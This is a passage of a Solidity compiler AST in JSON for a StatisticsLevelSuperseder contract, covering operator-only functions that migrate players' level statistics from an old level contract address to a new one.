53000"},"value":"53000"},"src":"13261:17:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":57441,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"13282:37:117","subExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57439,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57436,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57387,"src":"13284:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57437,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"13304:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57438,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13312:6:117","memberName":"length","nodeType":"MemberAccess","src":"13304:14:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"13284:34:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":57440,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"13283:36:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"13261:58:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57443,"nodeType":"DoWhileStatement","src":"12850:471:117"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57447,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57444,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57387,"src":"13335:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57445,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"13355:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57446,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13363:6:117","memberName":"length","nodeType":"MemberAccess","src":"13355:14:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"13335:34:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":57462,"nodeType":"Block","src":"13469:59:117","statements":[{"expression":{"id":57460,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57458,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"13483:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57459,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57387,"src":"13501:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"13483:34:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57461,"nodeType":"ExpressionStatement","src":"13483:34:117"}]},"id":57463,"nodeType":"IfStatement","src":"13331:197:117","trueBody":{"id":57457,"nodeType":"Block","src":"13371:92:117","statements":[{"expression":{"id":57451,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57448,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"13385:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57449,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"13397:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57450,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13407:12:117","memberName":"PLAYER_STATS","nodeType":"MemberAccess","referencedDeclaration":56556,"src":"13397:22:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"13385:34:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"id":57452,"nodeType":"ExpressionStatement","src":"13385:34:117"},{"expression":{"id":57455,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57453,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"13433:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30","id":57454,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"13451:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"13433:19:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57456,"nodeType":"ExpressionStatement","src":"13433:19:117"}]}}]},"functionSelector":"29b3df7e","implemented":true,"kind":"function","modifiers":[{"id":57368,"kind":"modifierInvocation","modifierName":{"id":57367,"name":"onlyOperator","nameLocations":["12514:12:117"],"nodeType":"IdentifierPath","referencedDeclaration":56575,"src":"12514:12:117"},"nodeType":"ModifierInvocation","src":"12514:12:117"}],"name":"dumpLevelFirstCompletionTime","nameLocation":"12476:28:117","parameters":{"id":57366,"nodeType":"ParameterList","parameters":[],"src":"12504:2:117"},"returnParameters":{"id":57369,"nodeType":"ParameterList","parameters":[],"src":"12527:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":57624,"nodeType":"FunctionDefinition","src":"13540:1719:117","nodes":[],"body":{"id":57623,"nodeType":"Block","src":"13587:1672:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57474,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57471,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"13605:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57472,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"13618:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57473,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13628:12:117","memberName":"PLAYER_STATS","nodeType":"MemberAccess","referencedDeclaration":56556,"src":"13618:22:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"13605:35:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420636f72726563742064756d70207374616765","id":57475,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13642:24:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""},"value":"Not correct dump stage"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""}],"id":57470,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"13597:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57476,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13597:70:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57477,"nodeType":"ExpressionStatement","src":"13597:70:117"},{"assignments":[57479],"declarations":[{"constant":false,"id":57479,"mutability":"mutable","name":"_oldLevelContractAddress","nameLocation":"13686:24:117","nodeType":"VariableDeclaration","scope":57623,"src":"13678:32:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57478,"name":"address","nodeType":"ElementaryTypeName","src":"13678:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":57481,"initialValue":{"id":57480,"name":"oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56547,"src":"13713:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"13678:58:117"},{"assignments":[57483],"declarations":[{"constant":false,"id":57483,"mutability":"mutable","name":"_newLevelContractAddress","nameLocation":"13754:24:117","nodeType":"VariableDeclaration","scope":57623,"src":"13746:32:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57482,"name":"address","nodeType":"ElementaryTypeName","src":"13746:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":57485,"initialValue":{"id":57484,"name":"newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56549,"src":"13781:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"13746:58:117"},{"assignments":[57487],"declarations":[{"constant":false,"id":57487,"mutability":"mutable","name":"_usersArrayIndex","nameLocation":"13822:16:117","nodeType":"VariableDeclaration","scope":57623,"src":"13814:24:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57486,"name":"uint256","nodeType":"ElementaryTypeName","src":"13814:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":57489,"initialValue":{"id":57488,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"13841:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"13814:42:117"},{"assignments":[57492],"declarations":[{"constant":false,"id":57492,"mutability":"mutable","name":"levelInstanceEmpty","nameLocation":"13887:18:117","nodeType":"VariableDeclaration","scope":57623,"src":"13866:39:117","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance"},"typeName":{"id":57491,"nodeType":"UserDefinedTypeName","pathNode":{"id":57490,"name":"LevelInstance","nameLocations":["13866:13:117"],"nodeType":"IdentifierPath","referencedDeclaration":56482,"src":"13866:13:117"},"referencedDeclaration":56482,"src":"13866:13:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance"}},"visibility":"internal"}],"id":57493,"nodeType":"VariableDeclarationStatement","src":"13866:39:117"},{"assignments":[57496],"declarations":[{"constant":false,"id":57496,"mutability":"mutable","name":"actualInstance","nameLocation":"13936:14:117","nodeType":"VariableDeclaration","scope":57623,"src":"13915:35:117","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance"},"typeName":{"id":57495,"nodeType":"UserDefinedTypeName","pathNode":{"id":57494,"name":"LevelInstance","nameLocations":["13915:13:117"],"nodeType":"IdentifierPath","referencedDeclaration":56482,"src":"13915:13:117"},"referencedDeclaration":56482,"src":"13915:13:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance"}},"visibility":"internal"}],"id":57497,"nodeType":"VariableDeclarationStatement","src":"13915:35:117"},{"body":{"id":57590,"nodeType":"Block","src":"13964:1011:117","statements":[{"expression":{"id":57506,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57498,"name":"actualInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57496,"src":"13978:14:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"baseExpression":{"id":57499,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"13995:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":57503,"indexExpression":{"baseExpression":{"id":57500,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"14007:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57502,"indexExpression":{"id":57501,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"14015:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14007:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"13995:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":57505,"indexExpression":{"id":57504,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57479,"src":"14034:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"13995:64:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"src":"13978:81:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance memory"}},"id":57507,"nodeType":"ExpressionStatement","src":"13978:81:117"},{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":57514,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":57508,"name":"actualInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57496,"src":"14077:14:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance memory"}},"id":57509,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14092:8:117","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":56472,"src":"14077:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":57512,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"14112:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":57511,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"14104:7:117","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":57510,"name":"address","nodeType":"ElementaryTypeName","src":"14104:7:117","typeDescriptions":{}}},"id":57513,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14104:10:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"14077:37:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57586,"nodeType":"IfStatement","src":"14073:859:117","trueBody":{"id":57585,"nodeType":"Block","src":"14116:816:117","statements":[{"expression":{"id":57525,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"baseExpression":{"id":57515,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"14134:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":57520,"indexExpression":{"baseExpression":{"id":57516,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"14146:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57518,"indexExpression":{"id":57517,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"14154:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14146:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14134:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":57521,"indexExpression":{"id":57519,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57483,"src":"14173:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14134:64:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":57522,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14199:8:117","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":56472,"src":"14134:73:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57523,"name":"actualInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57496,"src":"14210:14:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance memory"}},"id":57524,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14225:8:117","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":56472,"src":"14210:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"14134:99:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":57526,"nodeType":"ExpressionStatement","src":"14134:99:117"},{"expression":{"id":57537,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"baseExpression":{"id":57527,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"14251:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":57532,"indexExpression":{"baseExpression":{"id":57528,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"14263:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57530,"indexExpression":{"id":57529,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"14271:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14263:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14251:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":57533,"indexExpression":{"id":57531,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57483,"src":"14290:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14251:64:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":57534,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14316:11:117","memberName":"isCompleted","nodeType":"MemberAccess","referencedDeclaration":56474,"src":"14251:76:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57535,"name":"actualInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57496,"src":"14350:14:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance memory"}},"id":57536,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14365:11:117","memberName":"isCompleted","nodeType":"MemberAccess","referencedDeclaration":56474,"src":"14350:26:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"14251:125:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57538,"nodeType":"ExpressionStatement","src":"14251:125:117"},{"expression":{"id":57549,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"baseExpression":{"id":57539,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"14394:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":57544,"indexExpression":{"baseExpression":{"id":57540,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"14406:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57542,"indexExpression":{"id":57541,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"14414:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14406:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14394:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":57545,"indexExpression":{"id":57543,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57483,"src":"14433:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14394:64:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":57546,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14459:11:117","memberName":"timeCreated","nodeType":"MemberAccess","referencedDeclaration":56476,"src":"14394:76:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57547,"name":"actualInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57496,"src":"14493:14:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance memory"}},"id":57548,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"14508:11:117","memberName":"timeCreated","nodeType":"MemberAccess","referencedDeclaration":56476,"src":"14493:26:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"14394:125:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57550,"nodeType":"ExpressionStatement","src":"14394:125:117"},{"expression":{"id":57561,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"baseExpression":{"id":57551,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56529,"src":"14537:11:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref))"}},"id":57556,"indexExpression":{"baseExpression":{"id":57552,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"14549:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57554,"indexExpression":{"id":57553,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57487,"src":"14557:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14549:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14537:38:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance storage ref)"}},"id":57557,"indexExpression":{"id":57555,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57483,"src":"14576:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"14537:64:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage","typeString":"struct StatisticsLevelSuperseder.LevelInstance storage ref"}},"id":57558,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"14602:13:117","memberName":"timeCompleted","nodeType":"MemberAccess","referencedDeclaration":56478,"src":"14537:78:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57559,"name":"actualInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57496,"src":"14638:14:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_memory_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance 